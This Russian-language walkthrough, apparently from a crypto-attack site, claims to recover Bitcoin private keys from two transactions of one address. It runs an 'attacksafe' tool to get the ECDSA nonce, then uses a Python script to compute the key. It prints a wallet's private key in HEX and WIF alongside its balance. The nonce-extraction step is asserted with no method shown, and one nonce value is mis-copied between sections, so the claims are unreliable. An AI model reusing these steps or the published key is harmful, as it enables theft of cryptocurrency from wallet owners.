https://www.blockchain.com/btc/address/12bXHGbbWeqyixHpNjeSmq271ennbLRXh9
Приватный ключ найден!
BALANCE: $ 635.44
№3
При детальном криптоанализе мы также нашли критическую уязвимость и в Биткоин Адресе:
15wGrVZpLjfg47ZG43hHuJtrfdQyNFYGNz
https://btc1.trezor.io/tx/c8bbc3b05bc3a560ed5f4655c73cccf5cf6ff09b62279691df06ad8a121c9859
https://btc1.trezor.io/tx/1bd43bdeb2d76f0c24eef5abddfdc439f02406375ccc02d44299715b057bdf7e
Подготовим RawTX для атаки
15wGrVZpLjfg47ZG43hHuJtrfdQyNFYGNz
https://btc1.trezor.io/tx/c8bbc3b05bc3a560ed5f4655c73cccf5cf6ff09b62279691df06ad8a121c9859
RawTX = 01000000015c55f614688adf76c9186a89af07d4aca2aba8d612d6b445e8bd500bef21dac62b0000006a47304402207f252f8be450d3a7573c9a69ae96392e23dd58d7dc0ca3b835b9760f4056772d0220712f483ef5f8b98166fa673c6a8eb8379249cb1a3a7842d1d877096fca773677012102506c7593c4e301c2729dbfc46b2959c7a92f6f20c672b6d0feff9c5b6a567cf9ffffffff01c6020000000000001976a914e94a23147d57674a7b817197be14877853590e6e88ac00000000
Теперь нам нужно получить все значение R, S, Z из всех уязвимых транзакции
Воспользуемся скриптом breakECDSA.py
python2 breakECDSA.py 01000000015c55f614688adf76c9186a89af07d4aca2aba8d612d6b445e8bd500bef21dac62b0000006a47304402207f252f8be450d3a7573c9a69ae96392e23dd58d7dc0ca3b835b9760f4056772d0220712f483ef5f8b98166fa673c6a8eb8379249cb1a3a7842d1d877096fca773677012102506c7593c4e301c2729dbfc46b2959c7a92f6f20c672b6d0feff9c5b6a567cf9ffffffff01c6020000000000001976a914e94a23147d57674a7b817197be14877853590e6e88ac00000000
R = 0x7f252f8be450d3a7573c9a69ae96392e23dd58d7dc0ca3b835b9760f4056772d
S = 0x712f483ef5f8b98166fa673c6a8eb8379249cb1a3a7842d1d877096fca773677
Z = 0x2a3395f1143929b17c0dd24f89fc6eceee3d099c2286b7d1f147886ca30e5a7dЧтобы получить секретный ключ из уязвимой транзакции подписи ECDSA, добавим данные RawTX в текстовый документ и сохраним как файл RawTX.txt
01000000015c55f614688adf76c9186a89af07d4aca2aba8d612d6b445e8bd500bef21dac62b0000006a47304402207f252f8be450d3a7573c9a69ae96392e23dd58d7dc0ca3b835b9760f4056772d0220712f483ef5f8b98166fa673c6a8eb8379249cb1a3a7842d1d877096fca773677012102506c7593c4e301c2729dbfc46b2959c7a92f6f20c672b6d0feff9c5b6a567cf9ffffffff01c6020000000000001976a914e94a23147d57674a7b817197be14877853590e6e88ac00000000Запустим -tool whitebox_attack используя программное обеспечение “ATTACKSAFE SOFTWARE”
./attacksafe -tool whitebox_attack -open RawTX.txt -save SecretKey.txt
Мы запустили данную атаку из -tool whitebox_attack и результат сохранился в файл SecretKey.txt
Теперь чтобы посмотреть успешный результат откроем файл SecretKey.txt
cat SecretKey.txt
Deployments ECDSA:
SecretKey = 0xdd3fee317f873f30a38a54c2566a07cb7682612e3564996017b993b5416fcddc
RawTX = 01000000015c55f614688adf76c9186a89af07d4aca2aba8d612d6b445e8bd500bef21dac62b0000006a47304402207f252f8be450d3a7573c9a69ae96392e23dd58d7dc0ca3b835b9760f4056772d0220712f483ef5f8b98166fa673c6a8eb8379249cb1a3a7842d1d877096fca773677012102506c7593c4e301c2729dbfc46b2959c7a92f6f20c672b6d0feff9c5b6a567cf9ffffffff01c6020000000000001976a914e94a23147d57674a7b817197be14877853590e6e88ac00000000Мы видим надпись "Deployments ECDSA" это означает критическую уязвимость транзакции блокчейна Биткоина
SecretKey значение в формате HEX, это и есть наш секретный ключ "K" (NONCE):
K = 0xdd3fee317f873f30a38a54c2566a07cb7682612e3564996017b993b5416fcddc
Сделаем проверку с помощью Python-скрипта point2gen.py
Воспользуемся библиотекой эллиптических кривых ECPy:
Теперь запустим скрипт указав секретный ключ "K" (NONCE):
python3 point2gen.py 0xdd3fee317f873f30a38a54c2566a07cb7682612e3564996017b993b5416fcddc
(0x7f252f8be450d3a7573c9a69ae96392e23dd58d7dc0ca3b835b9760f4056772d , 0xe4eedac586ca23bf57a44e5de537e097ea28205a4eeef93c51fe2ee2b783280e)
Проверяем координаты точки EC (secp256k1) с значением сигнатуры R
R = 0x7f252f8be450d3a7573c9a69ae96392e23dd58d7dc0ca3b835b9760f4056772d
S = 0x712f483ef5f8b98166fa673c6a8eb8379249cb1a3a7842d1d877096fca773677
Z = 0x2a3395f1143929b17c0dd24f89fc6eceee3d099c2286b7d1f147886ca30e5a7dR = 0x7f252f8be450d3a7573c9a69ae96392e23dd58d7dc0ca3b835b9760f4056772d
point2gen = (0x7f252f8be450d3a7573c9a69ae96392e23dd58d7dc0ca3b835b9760f4056772d , 0xe4eedac586ca23bf57a44e5de537e097ea28205a4eeef93c51fe2ee2b783280e)
ВСЕ ВЕРНО!
K = 0xdd3fee317f873f30a38a54c2566a07cb7682612e3564996017b993b5416fcddc
Теперь зная секретный ключ мы можем получить приватный ключ к Биткоин Кошельку: 15wGrVZpLjfg47ZG43hHuJtrfdQyNFYGNz
Воспользуемся Python-скриптом: calculate.py > > > Получим Приватный Ключ
Откроем код и добавим все значение сигнатур K, R, S, Z
def h(n):
return hex(n).replace("0x","")
def extended_gcd(aa, bb):
lastremainder, remainder = abs(aa), abs(bb)
x, lastx, y, lasty = 0, 1, 1, 0
while remainder:
lastremainder, (quotient, remainder) = remainder, divmod(lastremainder, remainder)
x, lastx = lastx - quotient*x, x
y, lasty = lasty - quotient*y, y
return lastremainder, lastx * (-1 if aa < 0 else 1), lasty * (-1 if bb < 0 else 1)
def modinv(a, m):
g, x, y = extended_gcd(a, m)
if g != 1:
raise ValueError
return x % m
N = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141
K = 0xdd3fee317f873f30a38a54c2566a07cb7682612e3564996017b993b5416fcddc
R = 0x7f252f8be450d3a7573c9a69ae96392e23dd58d7dc0ca3b835b9760f4056772d
S = 0x712f483ef5f8b98166fa673c6a8eb8379249cb1a3a7842d1d877096fca773677
Z = 0x2a3395f1143929b17c0dd24f89fc6eceee3d099c2286b7d1f147886ca30e5a7d
print (h((((S * K) - Z) * modinv(R,N)) % N))Скрипт рассчитает приватный ключ по формуле:
Privkey = ((((S * K) - Z) * modinv(R,N)) % N)
Запустим скрипт:
python3 calculate.py
PrivKey = 16f2eaf0c267f036f926d0b1332c05f244427c65ce70a11b96842bf1a8221301
Откроем bitaddress и проверим:
ADDR: 15wGrVZpLjfg47ZG43hHuJtrfdQyNFYGNz
WIF: KwzKYYfPTrdAZA5m1kxs4WAjSWTuJRnD2ANKHGUugibgFBP4oDSG
HEX: 16f2eaf0c267f036f926d0b1332c05f244427c65ce70a11b96842bf1a8221301
https://www.blockchain.com/btc/address/15wGrVZpLjfg47ZG43hHuJtrfdQyNFYGNz
Приватный ключ найден!
BALANCE: $ 657.68
Потенциальная угроза потери монет BTC заключается в критической уязвимости транзакции блокчейна Биткоина, поэтому мы настоятельно рекомендуем всем всегда обновлять ПО и использовать только проверенные устройства.
При детальном криптоанализе мы также нашли критическую уязвимость и в TXID: 1bd43bdeb2d76f0c24eef5abddfdc439f02406375ccc02d44299715b057bdf7e для этого же Биткоин Адреса
Подготовим RawTX для атаки
15wGrVZpLjfg47ZG43hHuJtrfdQyNFYGNz
https://btc1.trezor.io/tx/1bd43bdeb2d76f0c24eef5abddfdc439f02406375ccc02d44299715b057bdf7e
RawTX = 0100000001090090e02de381ea337027a92b40cf9ea64c49f3ff4a5dc6e86514cbb3e6fbba210000006b483045022100abfd0edfab28bfdaffd134487cbba8baba8796ae5da45cf5bdd8b73f221edfc902201b52781a8e038c877146d0671638be48da3a0e946589ebdc3bb876d351292ddc012102506c7593c4e301c2729dbfc46b2959c7a92f6f20c672b6d0feff9c5b6a567cf9ffffffff0180020000000000001976a914e94a23147d57674a7b817197be14877853590e6e88ac00000000
Теперь нам нужно получить все значение R, S, Z из всех уязвимых транзакции
Воспользуемся скриптом breakECDSA.py
python2 breakECDSA.py 0100000001090090e02de381ea337027a92b40cf9ea64c49f3ff4a5dc6e86514cbb3e6fbba210000006b483045022100abfd0edfab28bfdaffd134487cbba8baba8796ae5da45cf5bdd8b73f221edfc902201b52781a8e038c877146d0671638be48da3a0e946589ebdc3bb876d351292ddc012102506c7593c4e301c2729dbfc46b2959c7a92f6f20c672b6d0feff9c5b6a567cf9ffffffff0180020000000000001976a914e94a23147d57674a7b817197be14877853590e6e88ac00000000
R = 0xabfd0edfab28bfdaffd134487cbba8baba8796ae5da45cf5bdd8b73f221edfc9
S = 0x1b52781a8e038c877146d0671638be48da3a0e946589ebdc3bb876d351292ddc
Z = 0x4ff2faf760c97ea590a3c7deec2698695e9559d629d1e73271623fd07cfbeffaЧтобы получить секретный ключ из уязвимой транзакции подписи ECDSA, добавим данные RawTX в текстовый документ и сохраним как файл RawTX.txt
0100000001090090e02de381ea337027a92b40cf9ea64c49f3ff4a5dc6e86514cbb3e6fbba210000006b483045022100abfd0edfab28bfdaffd134487cbba8baba8796ae5da45cf5bdd8b73f221edfc902201b52781a8e038c877146d0671638be48da3a0e946589ebdc3bb876d351292ddc012102506c7593c4e301c2729dbfc46b2959c7a92f6f20c672b6d0feff9c5b6a567cf9ffffffff0180020000000000001976a914e94a23147d57674a7b817197be14877853590e6e88ac00000000Запустим -tool whitebox_attack используя программное обеспечение “ATTACKSAFE SOFTWARE”
./attacksafe -tool whitebox_attack -open RawTX.txt -save SecretKey.txt
Мы запустили данную атаку из -tool whitebox_attack и результат сохранился в файл SecretKey.txt
Теперь чтобы посмотреть успешный результат откроем файл SecretKey.txt
cat SecretKey.txt
Deployments ECDSA:
SecretKey = 0xe7d9497ff0bab6f5dbbed781bc75be51ad98bbd70304e4def52c64e90b9822c2
RawTX = 0100000001090090e02de381ea337027a92b40cf9ea64c49f3ff4a5dc6e86514cbb3e6fbba210000006b483045022100abfd0edfab28bfdaffd134487cbba8baba8796ae5da45cf5bdd8b73f221edfc902201b52781a8e038c877146d0671638be48da3a0e946589ebdc3bb876d351292ddc012102506c7593c4e301c2729dbfc46b2959c7a92f6f20c672b6d0feff9c5b6a567cf9ffffffff0180020000000000001976a914e94a23147d57674a7b817197be14877853590e6e88ac00000000Мы видим надпись "Deployments ECDSA" это означает критическую уязвимость транзакции блокчейна Биткоина
SecretKey значение в формате HEX, это и есть наш секретный ключ "K" (NONCE):
K = 0xdd3fee317f873f30a38a54c2566a07cb7682612e3564996017b993b5416fcddc
Сделаем проверку с помощью Python-скрипта point2gen.py
Воспользуемся библиотекой эллиптических кривых ECPy:
Теперь запустим скрипт указав секретный ключ "K" (NONCE):
python3 point2gen.py 0xe7d9497ff0bab6f5dbbed781bc75be51ad98bbd70304e4def52c64e90b9822c2
(0xabfd0edfab28bfdaffd134487cbba8baba8796ae5da45cf5bdd8b73f221edfc9 , 0x9d29d467ba4eaea83ab268250f3101b200f66cebbbd0871c2a4c8af9d8730962)
Проверяем координаты точки EC (secp256k1) с значением сигнатуры R
R = 0xabfd0edfab28bfdaffd134487cbba8baba8796ae5da45cf5bdd8b73f221edfc9
S = 0x1b52781a8e038c877146d0671638be48da3a0e946589ebdc3bb876d351292ddc
Z = 0x4ff2faf760c97ea590a3c7deec2698695e9559d629d1e73271623fd07cfbeffaR = 0xabfd0edfab28bfdaffd134487cbba8baba8796ae5da45cf5bdd8b73f221edfc9
point2gen = (0xabfd0edfab28bfdaffd134487cbba8baba8796ae5da45cf5bdd8b73f221edfc9 , 0x9d29d467ba4eaea83ab268250f3101b200f66cebbbd0871c2a4c8af9d8730962)ВСЕ ВЕРНО!
K = 0xe7d9497ff0bab6f5dbbed781bc75be51ad98bbd70304e4def52c64e90b9822c2
Теперь зная секретный ключ мы можем получить приватный ключ к Биткоин Кошельку: 15wGrVZpLjfg47ZG43hHuJtrfdQyNFYGNz
Воспользуемся Python-скриптом: calculate.py > > > Получим Приватный Ключ
Откроем код и добавим все значение сигнатур K, R, S, Z
def h(n):
return hex(n).replace("0x","")
def extended_gcd(aa, bb):
lastremainder, remainder = abs(aa), abs(bb)
x, lastx, y, lasty = 0, 1, 1, 0
while remainder:
lastremainder, (quotient, remainder) = remainder, divmod(lastremainder, remainder)
x, lastx = lastx - quotient*x, x
y, lasty = lasty - quotient*y, y
return lastremainder, lastx * (-1 if aa < 0 else 1), lasty * (-1 if bb < 0 else 1)
def modinv(a, m):
g, x, y = extended_gcd(a, m)
if g != 1:
raise ValueError
return x % m
N = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141
K = 0xe7d9497ff0bab6f5dbbed781bc75be51ad98bbd70304e4def52c64e90b9822c2
R = 0xabfd0edfab28bfdaffd134487cbba8baba8796ae5da45cf5bdd8b73f221edfc9
S = 0x1b52781a8e038c877146d0671638be48da3a0e946589ebdc3bb876d351292ddc
Z = 0x4ff2faf760c97ea590a3c7deec2698695e9559d629d1e73271623fd07cfbeffa
print (h((((S * K) - Z) * modinv(R,N)) % N))Скрипт рассчитает приватный ключ по формуле:
Privkey = ((((S * K) - Z) * modinv(R,N)) % N)
Запустим скрипт:
python3 calculate.py
PrivKey = 16f2eaf0c267f036f926d0b1332c05f244427c65ce70a11b96842bf1a8221301
Откроем bitaddress и проверим:
ADDR: 15wGrVZpLjfg47ZG43hHuJtrfdQyNFYGNz
WIF: KwzKYYfPTrdAZA5m1kxs4WAjSWTuJRnD2ANKHGUugibgFBP4oDSG
HEX: 16f2eaf0c267f036f926d0b1332c05f244427c65ce70a11b96842bf1a8221301
https://www.blockchain.com/btc/address/15wGrVZpLjfg47ZG43hHuJtrfdQyNFYGNz
Приватный ключ найден!
BALANCE: $ 657.68
Telegram: https://t.me/cryptodeeptech
Видеоматериал: https://youtu.be/dLy74McEFTg
Источник: https://cryptodeep.ru/whitebox-attack
